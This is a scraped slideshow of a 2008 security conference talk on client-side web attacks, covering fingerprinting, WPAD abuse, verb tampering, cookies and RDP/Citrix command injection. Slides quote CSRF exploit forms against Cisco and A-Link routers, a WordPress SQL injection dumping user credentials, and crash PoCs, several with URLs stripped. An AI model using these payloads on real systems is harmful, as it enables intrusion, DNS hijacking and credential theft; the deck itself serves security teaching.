Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Hacking Client Side Insecurities

Related Books

Free with a 30 day trial from Scribd

See all
  • Be the first to comment

Hacking Client Side Insecurities

  1. 1. Club-Hack 2008 Aditya K Sood Founder , Sec-Niche Security Hacking Client Side Insecurities
  2. 2. Hacking Client Side Insecurities <ul><li>Research Front: </li></ul><ul><li>Founder , SECNICHE Security. </li></ul><ul><li>Independent Security Researcher. </li></ul><ul><li>Lead IS Author and Reviewer for Hakin9 Organization. </li></ul><ul><li>Research Author for USENIX and ELSEVIER Journals. </li></ul><ul><li>Like to do Bug Hunting. Released Advisories to Forefront Companies. </li></ul><ul><li>Active Speaker at Security Conferences. </li></ul><ul><li>[EU-Sec-West , XCON [07/08] , XKungFoo[08] , OWASP , Cert-IN etc] </li></ul><ul><li>Team Lead – Evil Fingers Community. </li></ul><ul><li>Projects – CERA, MLABS etc. </li></ul><ul><li>Professional Front: </li></ul><ul><li>Work as a Security Advisor / Penetration Tester for KPMG Consultancy. </li></ul>$whoami
  3. 3. Hacking Client Side Insecurities Web 2.0 Application Model
  4. 4. Hacking Client Side Insecurities [1] Discovering Clients on Internet / Intranet.  Web Application Discovery Protocol  Fingerprinting Embedded Devices.  Rogue Request for HTTP Server Fingerprinting.  JavaScript Based Client Information Retrieval [2] Client Side Attack Patterns.  Pluggable Protocol Handlers.  JavaScript Jacking  JSON Injections [CSRF]  HTTP Verb Jacking  HTTP Verb Tampering.  Insecure Parametric Design of Cookies  Baking with XSS.  War XHR and IFRAME Exploiting Patterns.  Cross Site Request Forging (Embedded Devices)  The High Risk.  Surf Jacking  Jacking HTTPS in Traffic Pool. [3] Web Virtual Environment [RDP/ CITRIX]. [4] Questions and Answers. $ AGENDA
  5. 5. Hacking Client Side Insecurities <ul><li>User Interface with the Browsers to Access Content Remotely. </li></ul><ul><li>Client System Stores Sensitive Information as Local Cache. </li></ul><ul><li>Scripting – an Intermediate Model of Client Server Relation. </li></ul><ul><li>No Executables Required , Just Manipulation through Scripts. </li></ul><ul><li>Follows the Concept of Spoofing and Hidden Codes. </li></ul><ul><li>Exploitable through JS-Jacking and VBS-Jacking with number of Attacks. </li></ul><ul><li>Browsers – The Bulls Eye , Attacker Prime Target. </li></ul><ul><li>The Concept – Exploitation On the Fly. </li></ul><ul><li>Exploitation Trend Change towards Application. </li></ul><ul><li>Application Level Attacks Easy to Trigger and Execute. </li></ul>Client Side ! Why?
  6. 6. Hacking Client Side Insecurities Discovery
  7. 7. Hacking Client Side Insecurities <ul><li>Discovering Clients leverage lot of Sensitive Information. </li></ul><ul><li>Network and System Configuration is the Target Point to Attack. </li></ul><ul><li>Internet , Search Engines Like Google Projects Plethora of Information. </li></ul><ul><li>Attacking Intranet Requires the Inside Information of Party. </li></ul><ul><li>Garbage Dumps on World Wide Web Servers , A Huge Bonus for Attackers. </li></ul><ul><li>Client Side Supports various Protocols [Weak] for Robust Functionality. </li></ul><ul><li>Insecure Administration of Servers – Configuration Mismanagement. </li></ul><ul><li>Browser Based Insecurities. </li></ul><ul><li>JavaScript Jacking on Client Browsers Reveal State Information of Clients. </li></ul><ul><li>Every Single Element Discovered, Favors the Attack on Client. </li></ul>Fingerprinting ! Why?
  8. 8. Hacking Client Side Insecurities <ul><li> Web Proxy Auto Discovery Protocol. </li></ul><ul><li>Protocol used in Discovering Network Proxy Automatically. </li></ul><ul><li>Configuration File Contains Intranet Addresses Inherently. </li></ul><ul><li>Protocol Dismantle the Manual Configuration to Detect Proxy (PAC) File. </li></ul><ul><li>WPAD Works on DHCP Behavior. [DHCPINFORM Query] </li></ul><ul><li>No DNS Lookup is Required if DHCP Issues a Request. </li></ul><ul><li>Protocol Handler  http:// </li></ul><ul><li>PAC  Proxy Auto Configuration | Proxy Settings for Subnets. </li></ul><ul><li>DHCP Query through  Uniform Resource Locator [URL] </li></ul><ul><li>DNS Query through  wpad.dat , File Located in WPAD Root Directory </li></ul><ul><li>Function  FindProxyForURL() </li></ul>Fingerprinting !
  9. 9. Hacking Client Side Insecurities <ul><li> Web Proxy Auto Discovery Protocol. </li></ul><ul><li>Attack Point  </li></ul><ul><li>wpad.dat is Not Stored in a Secure Manner. Should be Placed in Default Virtual Directory. </li></ul><ul><li>Browsers have Stringency in Making a Request to wpad.dat if Stored in Root Directory. </li></ul><ul><li>No Referrer Check on the Request to wpad.dat File. </li></ul><ul><li>wpad.dat  When a Request is issued it Redirects the page to Required Proxy File for Configuration of Browser. </li></ul><ul><li> Malicious Redirection Can be Done. </li></ul><ul><li>When a DHCP Request is Issued no DNS Required. WOW ! No DNS Cache Poisoning is Required. </li></ul><ul><li> Rogue DHCP Server on LAN do the Trick. </li></ul><ul><li>Wpad use JavaScript to Set Browsers for Proxy Settings. </li></ul>Fingerprinting !
  10. 10. Hacking Client Side Insecurities <ul><li>Web Proxy Auto Discovery Protocol. </li></ul><ul><li># WPAD definition option wpad code 252 = text; # Suppress WPAD activity - no cache, no DNS. option wpad &quot; 00&quot;; # Configure a valid WPAD cache. The is required for Windows. # All config below this line is optional. #option wpad &quot; &quot;; class &quot;MSFT&quot; { match if substring(option vendor-class-identifier, 0, 4) = &quot;MSFT&quot;; # They put 252 on the DHCPINFORM's, but not on the DHCPREQUEST's # PRL. So we over-ride the PRL to include 252 = 0xFC, which will also # suppress the DHCPINFORMS! option dhcp-parameter-request-list = concat(option dhcp-parameter-request-list, fc); } </li></ul><ul><li>function FindProxyForURL(url, host) { return &quot;PROXY ; DIRECT&quot;; } </li></ul>Fingerprinting !
  11. 11. Hacking Client Side Insecurities <ul><li>Embedded Devices </li></ul><ul><li>Criticality in Determining the Internal Structure. </li></ul><ul><li>HTTP Request Parameters are Manipulated. </li></ul><ul><li>301 Moved Permanently Response Code is thrown. </li></ul><ul><li>Devices used to Spoof the Internal IP Addresses. </li></ul><ul><li>Every Device has its Own Working Approach </li></ul><ul><li>Used to Set Cookie in a Different Manner. </li></ul><ul><li>Used to Change the parameter of HTTP Header Specifies. </li></ul><ul><li>Analyzing the change in HTTP Headers Play the Trick. </li></ul><ul><li>Necessary for Application Pen Testing at Infrastructural Level </li></ul>Fingerprinting !
  12. 12. Hacking Client Side Insecurities <ul><li>Embedded Devices | HTTP Header Manipulation </li></ul><ul><li>Case 1: </li></ul><ul><li>Response Check 1 </li></ul><ul><li>HTTP/1.1 200 OK </li></ul><ul><li>Date: Tue, 05 Jul 2007 17:05:18 GMT </li></ul><ul><li>Server: Server </li></ul><ul><li>Vary: Accept-Encoding,User-Agent </li></ul><ul><li>Content-Type: text/html; </li></ul><ul><li>charset=ISO-8859-1 </li></ul><ul><li>nnCoection: close Transfer-Encoding: chunked </li></ul><ul><li>Response Check 2 </li></ul><ul><li>-  send: 'GET /?Action=DescribeImages&AWSAccessKeyId=0CZQCKRS3J69PZ6QQQR2&Owner.1 =084307701560&SignatureVersion=1&Timestamp=2007-02-15T17%3A30%3A13 &Version=2007-01- 03&Signature=<signature removed> HTTP/1.1 Host: Accept- Encoding: identity ' reply: 'HTTP/1.1 200 OK ' header: Server: Apache-Coyote/1.1 header: Transfer-Encoding: chunked header: Date: Thu, 15 Feb 2007 17:30:13 GMT </li></ul><ul><li> send: 'GET /?Action=ModifyImageAttribute&Attribute=launchPermission&AWSAccessKeyId =0CZQCKRS3J6 9PZ6QQQR2&ImageId=ami-00b95c69&OperationType=add&SignatureVersion=1& Timestamp=2007- 02-15T17%3A30%3A14&UserGroup.1=all&Version=2007-01-03&Signature=<signature removed> HTTP/1.1 Host: Accept-Encoding: identity ' reply: 'HTTP/1.1 400 Bad Request ' header: Server: Apache-Coyote/1.1 header: Transfer-Encoding: chunked header: Date: Thu, 15 Feb 2007 17:30:14 GMT header: nnCoection: close </li></ul>Fingerprinting ! Potentially a Net Scalar Device
  13. 13. Hacking Client Side Insecurities <ul><li>Embedded Devices | HTTP Header Manipulation </li></ul><ul><li>Case 2: </li></ul><ul><li>HTTP/1.1 200 OK </li></ul><ul><li>Date: Tue, 10 July 2007 03:01:36 GMT </li></ul><ul><li>Server: Apache </li></ul><ul><li>Connection: close </li></ul><ul><li>Content-type: text/plain </li></ul><ul><li>HTTP/1.0 404 Not Found </li></ul><ul><li>Xontent-Length: </li></ul><ul><li>Server: thttpd/2.25b 29dec2003 </li></ul><ul><li>Content-Type: text/html; charset=iso-8859-1 </li></ul><ul><li>Last-Modified: Tue, 05 Jul 2007 17:01:12 GMT </li></ul><ul><li>Accept-Ranges: bytes </li></ul><ul><li>Cache-Control: no-cache, no-store </li></ul><ul><li>Date: Tue, 05 Jun 2007 17:01:12 GMT </li></ul><ul><li>Content-Length: 329 </li></ul><ul><li>Connection: close </li></ul>Fingerprinting ! The Content Parameter is transformed into XONTENT. This is Generally Shown by Potential RADWARE Devices RADWARE Device
  14. 14. Hacking Client Side Insecurities <ul><li>Embedded Devices | Big IP4 IP Based Session Management </li></ul><ul><li>Response Check 1 </li></ul><ul><li>Cookie: service-http=167880896.12345.0000. </li></ul><ul><li>ASPSESSIONIDSSCATCAT = XXXXXXXXXXXXXXXXXXX </li></ul><ul><li>Converting to Binary: </li></ul><ul><li>Binary ( cookie ) == 00001010000000011010100011000000 </li></ul><ul><li>Converting to blocks of 4  </li></ul><ul><li>00001010 </li></ul><ul><li>00000001 </li></ul><ul><li>10101000 </li></ul><ul><li>11000000 </li></ul><ul><li>00001010  10 </li></ul><ul><li>00000001  1 </li></ul><ul><li>10101000  168 </li></ul><ul><li>11000000  192 </li></ul>Fingerprinting ! Lets dissect the Pattern of this Number. Convert it into Decimal to see what is there. The Internal IP Dissected is  This Layout is specific to Working Devices
  15. 15. Hacking Client Side Insecurities <ul><li>HTTP Servers  Fingerprinting with Rogue Requests </li></ul><ul><li>Fingerprinting HTTP Servers with Rogue Requests. </li></ul><ul><li>Web Servers React Stringently to Different Requests. </li></ul><ul><li>The Response Code can be used to Analyze the Web Server. </li></ul><ul><li>80% of this Request-Response is Successful. </li></ul>Fingerprinting !
  16. 16. Hacking Client Side Insecurities <ul><li>Client Side JavaScript Can Leverage Lot of Information of Browser State. </li></ul><ul><li>Platform : Win32 </li></ul><ul><li>OSCPU : undefined </li></ul><ul><li>UserAgent : Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/2008092417 Firefox/3.0.3 </li></ul><ul><li>Language : en-US </li></ul><ul><li>AppName : Netscape </li></ul><ul><li>AppVersion : 5.0 (Windows; en-US) </li></ul><ul><li>Product : Gecko </li></ul><ul><li>CodeName : 2008092417 </li></ul><ul><li>Vendor : </li></ul><ul><li>VendorSub : </li></ul><ul><li>CodeName : Mozilla </li></ul><ul><li>History : 3 </li></ul><ul><li>ScreenW : 1440 </li></ul><ul><li>ScrrenH : 900 </li></ul>Fingerprinting ! < script language=&quot;javascript&quot;> function browserInfo(form) { var txtInfo; txtInfo = &quot;Platform : &quot; + window.navigator.platform + &quot; &quot; + &quot;OSCPU : &quot; + window.navigator.oscpus + &quot; &quot; + &quot;UserAgent : &quot; + window.navigator.userAgent + &quot; &quot; + &quot;Language : &quot; + window.navigator.language + &quot; &quot; + &quot;AppName : &quot; + window.navigator.appName + &quot; &quot; + &quot;AppVersion : &quot; + window.navigator.appVersion + &quot; &quot; + &quot;Product : &quot; + window.navigator.product + &quot; &quot; + &quot;CodeName : &quot; + window.navigator.productSub + &quot; &quot; + &quot;Vendor : &quot; + window.navigator.vendor + &quot; &quot; + &quot;VendorSub : &quot; + window.navigator.vendorSub + &quot; &quot; + &quot;CodeName : &quot; + window.navigator.appCodeName + &quot; &quot; + &quot;History : &quot; + window.history.length + &quot; &quot; + &quot;ScreenW : &quot; + window.screen.width + &quot; &quot; + &quot;ScrrenH : &quot; + window.screen.height; form.txtOutput.value=txtInfo; return; } </script>
  17. 17. Hacking Client Side Insecurities Demonstrations!
  18. 18. Hacking Client Side Insecurities Web Chemistry! Wow!
  19. 19. Hacking Client Side Insecurities Client Side Exploiting Patterns
  20. 20. Hacking Client Side Insecurities Client Side Exploiting Patterns <ul><li>Pluggable Protocol Handlers. </li></ul><ul><li>JavaScript Jacking  JSON Injections [CSRF] </li></ul><ul><li>HTTP Verb Jacking  HTTP Verb Tampering. </li></ul><ul><li>Insecure Parametric Design of Cookies  Baking with XSS. </li></ul><ul><li>War XHR and IFRAME Exploiting Patterns. </li></ul><ul><li>Cross Site Request Forging through CSS Parameter. </li></ul><ul><li>Cross Site Request Forging (Embedded Devices)  The High Risk. </li></ul><ul><li>Surf Jacking  Jacking HTTPS in Traffic Pool. </li></ul>
  21. 21. Hacking Client Side Insecurities Pluggable Protocol Handlers <ul><li>Attack works with XSS etc Vulnerabilities. </li></ul><ul><li>Browsers support for the Application Handlers. </li></ul><ul><li>Third Party Attack Base. </li></ul><ul><li>GOOGLE CHROME Browser Support  </li></ul><ul><li>protocol_handler&quot;: { </li></ul><ul><li>&quot;excluded_schemes&quot;: { </li></ul><ul><li>&quot;afp&quot;: true, </li></ul><ul><li>&quot;data&quot;: true, </li></ul><ul><li>&quot;disk&quot;: true, </li></ul><ul><li>&quot;disks&quot;: true, </li></ul><ul><li>&quot;file&quot;: true, </li></ul><ul><li>&quot;hcp&quot;: true, </li></ul><ul><li>&quot;javascript&quot;: true, </li></ul><ul><li>&quot;mailto&quot;: false, </li></ul><ul><li>&quot;ms-help&quot;: true, </li></ul><ul><li>&quot;news&quot;: false, </li></ul><ul><li>&quot;nntp&quot;: true, </li></ul><ul><li>&quot;shell&quot;: true, </li></ul><ul><li>&quot;snews&quot;: false, </li></ul><ul><li>&quot;vbscript&quot;: true, </li></ul><ul><li>&quot;view-source&quot;: true, </li></ul><ul><li>&quot;vnd&quot;: { </li></ul><ul><li>&quot;ms&quot;: { </li></ul><ul><li>&quot;radio&quot;: true </li></ul><ul><li>} </li></ul>
  22. 22. Hacking Client Side Insecurities Java Script Jacking <ul><li>JavaScript – The Most Critical and Most Usable Scripting Entity. </li></ul><ul><li>Irrevocably Supported by Every Browsers. </li></ul><ul><li>Active base for Malicious Web Base Content. </li></ul><ul><li>Helps in Diversified Client Side Hacking from the Core. </li></ul><ul><li>Dynamic Generated Object Malfunctioning. </li></ul><ul><li>JS-Jacking  Leveraging System Specific Information. </li></ul><ul><li>Attacker Can query Browser Related Information. </li></ul><ul><li>Active Encoding Attacks Fused with JavaScript. </li></ul><ul><li>DOM Based Calling Pattern for Web Based Attacks . </li></ul>Website Requires JavaScript Support. This anatomy works in both positive and negative manner
  23. 23. Hacking Client Side Insecurities Java Script Jacking
  24. 24. Hacking Client Side Insecurities Java Script Jacking – JSON Injections JSON Injections  The Serialization Insecurity | Web 2.0 Direct Injections with Encoding. Everything is treated as String. Apply toJSONObject(). CSRF  A different way to Fuse attack with Notation Objects. { &quot;menu&quot;: { &quot;id&quot;: &quot;<img src=&quot;;>&quot;, &quot;value&quot;: &quot;<img src=&quot;;>&quot;, &quot;popup&quot;: &quot;<scriptsrc=&quot; &;></script>&quot; } } } Cross Site Request Forgery Structured in JSON – Google Ad sense Layout.
  25. 25. Hacking Client Side Insecurities HTTP Verb Jacking <ul><li>HTTP  Stateless Protocol. Every Request is Independent of other. </li></ul><ul><li>HTTP supports number of Request. </li></ul><ul><li>HTTP Verb Jacking  Play with HTTP Requests like GET/POST. </li></ul><ul><li>Attack Affect  Applications handling XML Data. Versatile Attack. </li></ul><ul><li>Request Schema is Defined in web.xml file. </li></ul><ul><li>HTTP Request Functionality is Placed in web.xml File. </li></ul><ul><li>Verb Jacking == Verb Tampering. </li></ul><ul><li>Exists for a Long Period of Time. </li></ul><ul><li>HTTP 1.0 and HTTP 1.1 Plays a Part. </li></ul>Major Flaw  HTTP End Point Check does not Disseminate among HTTP Request. Only Parameter Check is Performed. All Verbs are Allowed. In 2006 , I have released a paper called Rogue XML Specifications which list the potential insecurities in web.xml file.
  26. 26. Hacking Client Side Insecurities HTTP Verb Jacking security-constraint> <web-resource-collection> <web-resource-name>drivers</web-resource-name> <description> Security constraint for drivers page </description> <url-pattern>/drivers.html</url-pattern> <http-method>POST</http-method> <http-method>GET</http-method> </web-resource-collection> <auth-constraint> <description> constraint for drivers </description> <role-name>manager</role-name> </auth-constraint> </security-constraint> <login-config> <auth-method>BASIC</auth-method> </login-config> <security-role> <role-name>manager</role-name> The snapshot of web.xml file for a certain target. The security constraint parameter defines the allowed request. The type of Authentication allowed. HTTP Verb Jacking  Manager directories will not be Accessed by GET/POST Request. What about HEAD Request. J2EE ,JSP , ASP , ASP.NET,PHP etc are based on configuration files to process the type of request to handle. [ GET/POST/HEAD etc]
  27. 27. Hacking Client Side Insecurities Insecure Parametric Cookies <ul><li>Insecure Use of Cookies in Session Management. </li></ul><ul><li>Where the Security State is ? Majority Fails to Instantiate. </li></ul><ul><li>XSS Drags in the Application. Authenticated Cookies can be Undertaken. </li></ul><ul><li>The Real Cause  Insecure Design of Cookies with Parameters. </li></ul>Cookie Security Parameter Check <ul><li>Cookie Security Design is Judged by two major factors: </li></ul><ul><li>Cookie over Secure Channel [HTTPS ] </li></ul><ul><li>Cookie Extraction through JavaScript Calls. </li></ul>Cookie Security Parameters are :- Secure ( boolean)  Allowed over only HTTPS. HttpOnly ( boolean )  JavaScript document.cookie Fails.
  28. 28. Hacking Client Side Insecurities XHR and IFRAME <ul><li>XHR  XML HTTP DOM based API for XML Data Transference. </li></ul><ul><li>Active Mechanism based on AJAX. </li></ul><ul><li>XHR Request does not Cached in the History of Browser. </li></ul><ul><li>IFRAME Requests have a proper History Caching Layout. </li></ul><ul><li>XHR Requests are Irreversible. IRAME is totally Reverse. </li></ul><ul><li>Working Functionality of both are Different from Each other. </li></ul><ul><li>Number of Client Side Attacks are Exploited by using these Elements. </li></ul>If your browser do not support Ajax XHR request and a page is loaded into browser then the most of the remote toolkits have a hidden iframe to provide fake XHR support to the page.
  29. 29. Hacking Client Side Insecurities XHR and IFRAME < script > var oRequest = new XMLHttpRequest(); var sURL = &quot;;; alert('Downloading a txt file..please wait.');;GET&quot;,sURL,false); oRequest.setRequestHeader(&quot;User-Agent&quot;,navigator.userAgent); oRequest.send(null); xmlDoc=oRequest.ResponseText; alert(xmlDoc); if (oRequest.status==200) { alert(' try editing the Text-Box!'); var str=&quot; Winget 3.0 DoS Exploit PoC.Minimize Winget & Right-Click & Copy to clipboard.&quot;; document.write(;http://&quot;+oRequest.responseText+&quot;.exe&quot;)); } else {alert('Error executing XMLHttpRequest call!');} Local Dos [Milw0rm] var iframe = document.createElement(&quot;IFRAME&quot;); iframe.setAttribute(&quot;src&quot;, 'ftp://localhost/anything'); iframe.setAttribute(&quot;name&quot;, 'myiframe'); iframe.setAttribute(&quot;id&quot;, 'myiframe'); iframe.setAttribute(&quot;onload&quot;, 'read_iframe(&quot;myiframe&quot;)'); = &quot;100px&quot;; = &quot;100px&quot;; document.body.appendChild(iframe); Konqueror 3.5.5 Crash [Milw0rm] [Word Press SQL Injection through IFRAME] wp-content/plugins/st_newsletter/stnl_iframe.php?newsletter=-9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x3a,user_email)+FROM+wp_users-- [PHP Nuke IFRAME] (or) .htm
  30. 30. Hacking Client Side Insecurities Embedded Devices - CSRF [1] Cisco Router Remote Administration Execution CSRF Exploit [Milw0rm] < html> <body> <body onload=&quot;fdsa.submit();&quot;> <form name=fdsa method=&quot;post&quot; action=&quot;;> <input type=hidden name=command value=&quot;alias exec xx xx&quot;> <input type=hidden name=command_url value=&quot;/level/15/exec/-&quot;> <input type=hidden name=new_command_url value=&quot;/level/15/configure/-&quot;> </body> </html> [3] EXPLAY CMS CSRF Exploit <img src=&quot;http://explay.localhost/admin.php?name =users&page=1&order=user_id&set_admin=2&quot; /> [2] A-Link WL54AP3 and WL54AP2 CSRF [Milw0rm] <html> <body onload=&quot;document.wan.submit(); document.password.submit()&quot;> <form action=&quot;; method=&quot;post&quot; name=&quot;wan&quot;> <input type=&quot;hidden&quot; value=&quot;dnsManual&quot; name=&quot;dnsMode&quot; checked> <input type=&quot;hidden&quot; name=&quot;dns1&quot; value=&quot;;> <input type=&quot;hidden&quot; name=&quot;dns2&quot; value=&quot;;> <input type=&quot;hidden&quot; name=&quot;dns3&quot; value=&quot;;> <input type=&quot;hidden&quot; name=&quot;webWanAccess&quot; value=&quot;ON&quot; checked=&quot;checked&quot;> </form> <form action=&quot;; method=&quot;post&quot; name=&quot;password&quot;> <input type=&quot;hidden&quot; name=&quot;username&quot; value=&quot;mallory&quot;> <input type=&quot;hidden&quot; name=&quot;newpass&quot; value=&quot;gotroot&quot;> <input type=&quot;hidden&quot; name=&quot;confpass&quot; value=&quot;gotroot&quot;> </form> </body> </html>
  31. 31. Hacking Client Side Insecurities SURF Jacking – HTTPS at Stake <ul><li>Vulnerable Play with HTTPS Websites. </li></ul><ul><li>Surf Jacking [HTTPS] is an Outcome from Side Jacking [HTTP]. </li></ul><ul><li>Basic Flaw is In Cookie Setting by Respective Servers. </li></ul><ul><li>All Insecure Cookie Based Website at Risk. </li></ul>Side Jacking discovered by Errata Security. Surf Jacking discovered by Enable Security But Cookie Insecurity is known back time. Greets to break down into Attacks.
  32. 32. Hacking Client Side Insecurities Demonstrations!
  33. 33. Hacking Client Side Insecurities RDP / ICA – Command Execution <ul><li>Virtual Environment for Clients to Produce Interface with Servers. </li></ul><ul><li>Executing Commands and GUI Operations Generically. </li></ul><ul><li>ICA  Independent Computing Architecture , CITRIX Applications </li></ul><ul><li>RDP  Remote Desktop Protocol , Microsoft Proprietary Protocol. </li></ul><ul><li>Basically , Virtual Desktop Working Functionality. </li></ul><ul><li>Protocols Defined have Different Working Behavior for ICA and RDP </li></ul><ul><li>Application ( RDP )  MTS i.e. Microsoft Terminal Services. </li></ul><ul><li>Clients Exist for almost all Platforms [*Nix, Windows etc]. </li></ul><ul><li>ICA  Similar to X Window System / XEN Virtual Environment. </li></ul><ul><li>RDP Client  RDC + TSC </li></ul><ul><li> RDC  Remote Desktop Connection. </li></ul><ul><li>TSC  Terminal Services Connection. </li></ul>
  34. 34. Hacking Client Side Insecurities RDP / ICA <ul><li>Citrix Web ICA File: Webica.ini </li></ul><ul><li>Trusted and Un-trusted Distinction  Client Modeling Check. </li></ul><ul><li>It depicts the trusted behavior of ICA Client from its Origin Point using the webica.ini file. </li></ul><ul><li>Trusted ( ICA Client )  Program Neighborhood / PN Agent. </li></ul><ul><li>Un-Trusted ( ICA Client )  Web Interface / Direct ICA File Execution. </li></ul><ul><li> Structured Dependency over webica.ini file. It is used to set Access Rights. </li></ul><ul><li>Citrix Application Server File: Appsrv.ini </li></ul><ul><li>Custom ICA Connections are defined in it. </li></ul><ul><li>Information about Entries in Remote Connection Manager. </li></ul>
  35. 35. Hacking Client Side Insecurities Attack Point - ICA <ul><li>Citrix Desktop Connection parameters provide a functionality to feed a specific </li></ul><ul><li>Command which will get executed when a connection is initiated to the server </li></ul><ul><li>by the client. Usually instead of the desktop the command gets executed. </li></ul><ul><li>[ApplicationServers] </li></ul><ul><li>Desktop= </li></ul><ul><li>[Desktop] </li></ul><ul><li>TransportDriver=TCP/IP </li></ul><ul><li>BrowserProtocol=UDP </li></ul><ul><li>DesiredHRES=4294967295 </li></ul><ul><li>DesiredVRES=4294967295 </li></ul><ul><li>ScreenPercent=0 </li></ul><ul><li>DoNotUseDefaultCSL=Off </li></ul><ul><li>Description=Desktop </li></ul><ul><li> </li></ul><ul><li>InitialProgram=#ROGUE or MALICIOUS COMMAND </li></ul><ul><li>IconPath=M:Program FilesCitrixICA Clientpn.exe </li></ul><ul><li>IconIndex=1 </li></ul><ul><li>ConnectType=1 </li></ul><ul><li>MaximumCompression=Off </li></ul><ul><li>UseAlternateAddress=0 </li></ul><ul><li>Compress=On </li></ul><ul><li>. </li></ul>
  36. 36. Hacking Client Side Insecurities Attack Point - RDP <ul><li>Microsoft Terminal Services RDP has inbuilt option of executing command through shell directly which is a possible attack point of Infection. </li></ul><ul><li>screen mode id:i:1 </li></ul><ul><li>desktopwidth:i:800 </li></ul><ul><li>desktopheight:i:600 </li></ul><ul><li>session bpp:i:16 </li></ul><ul><li>winposstr:s:0,3,0,0,800,572 </li></ul><ul><li>full </li></ul><ul><li>alternate shell:s: Malicious or rogue Command </li></ul><ul><li>compression:i:1 </li></ul><ul><li>keyboardhook:i:2 </li></ul><ul><li>audiomode:i:0 </li></ul><ul><li>redirectdrives:i:0 </li></ul><ul><li>redirectprinters:i:1 </li></ul><ul><li>redirectcomports:i:0 </li></ul><ul><li>redirectsmartcards:i:1 </li></ul><ul><li>displayconnectionbar:i:1 </li></ul><ul><li>autoreconnection enabled:i:1 </li></ul><ul><li>username:s:freight </li></ul><ul><li>. </li></ul>
  37. 37. Hacking Client Side Insecurities Demonstrations!
  38. 38. Hacking Client Side Insecurities Questions
  39. 39. Hacking Client Side Insecurities Thanks and Regards
  40. 40. Hacking Client Side Insecurities SecNiche Security